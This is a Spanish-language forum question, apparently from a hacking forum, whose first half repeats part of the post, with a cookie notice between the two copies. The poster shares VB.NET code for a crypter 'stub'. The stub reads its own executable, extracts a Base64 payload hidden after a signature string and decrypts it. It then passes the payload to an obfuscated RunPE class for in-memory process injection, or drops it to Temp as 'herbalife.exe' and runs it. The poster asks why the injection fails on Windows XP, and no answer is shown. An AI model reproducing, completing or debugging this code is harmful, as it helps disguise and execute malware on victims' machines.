Hello level-23 en primer lugar gracias a spoofer por compartir los Runpe generator que sin lugar a dudas es un aporte valioso sobre todo para los que empezamos en este tema.
Bueno os pongo el código vbnet del Stub
Dim neobytes() As Byte = System.Text.Encoding.ASCII.GetBytes(neopreno)
Dim proc_on As String = Process.GetCurrentProcess().MainModule.FileName
Try
Dim ar_temp As String = My.Computer.FileSystem.SpecialDirectories.Temp
Entonces aqui si se ejecuta por lo que descarto que no se desencryte bien, el problema es al hacer la llamada al runpe como he mostrado en el código de arriba es entonces cuando no se ejecuta.
Cabe decir que los parametros de call es
call nombredelaclase.llamadaalafunción(ByVal nombre As byte,AplicationExecutablepath)
Tambien he de decir que el SO en el que trabajo es X86 windowsXP, no fuera a ser que el rumpe no trabaje en este SO.
Espero que me ayudeis ya que llevo dos dias buscando información y sources sencillitos runtime vbnet y son dificiles de encontrar ya que o te tienes que registrar o son códigos vb que los hay por dokier,o son códigos extremadamente complejos para un principiante.
We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.
Question
r3spald0Hello level-23 en primer lugar gracias a spoofer por compartir los Runpe generator que sin lugar a dudas es un aporte valioso sobre todo para los que empezamos en este tema.
Bueno os pongo el código vbnet del Stub
Dim neobytes() As Byte = System.Text.Encoding.ASCII.GetBytes(neopreno)
Dim proc_on As String = Process.GetCurrentProcess().MainModule.FileName
Try
Dim ar_temp As String = My.Computer.FileSystem.SpecialDirectories.Temp
Dim ar_inicial As String
ar_out = ar_temp & "\" & "herbalife.exe"
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
ar_inicial = Space(LOF(1))
FileGet(1, ar_inicial)
FileClose()
desarm = Split(ar_inicial, signal)
Dim conversion As Byte() = Convert.FromBase64String(desarm(1))
Dim conversion2 As Byte() = Despirulando(conversion, neobytes)
UVithbwbXCsfCzwpTYYcP.wDBLoYNZauQcnDQ(conversion2, proc_on)
Catch ex As Exception
MsgBox("There is something wrong", MsgBoxStyle.Exclamation, "Mistake Baby")
End Try
Me.Close()
End Sub
El problema es que no me ejecuta conversion2, he de decir que si quito la class Runpe y quito la llamada al runpe y pongo
FileOpen (3,ar_out,open binari,openReadWrite,openshareDefault)
FilePut(3,conversion2)
FileClose()
Process.Start(ar_out)
Entonces aqui si se ejecuta por lo que descarto que no se desencryte bien, el problema es al hacer la llamada al runpe como he mostrado en el código de arriba es entonces cuando no se ejecuta.
Cabe decir que los parametros de call es
call nombredelaclase.llamadaalafunción(ByVal nombre As byte,AplicationExecutablepath)
Tambien he de decir que el SO en el que trabajo es X86 windowsXP, no fuera a ser que el rumpe no trabaje en este SO.
Espero que me ayudeis ya que llevo dos dias buscando información y sources sencillitos runtime vbnet y son dificiles de encontrar ya que o te tienes que registrar o son códigos vb que los hay por dokier,o son códigos extremadamente complejos para un principiante.
Saludos
Link to comment
Share on other sites
0 answers to this question
Recommended Posts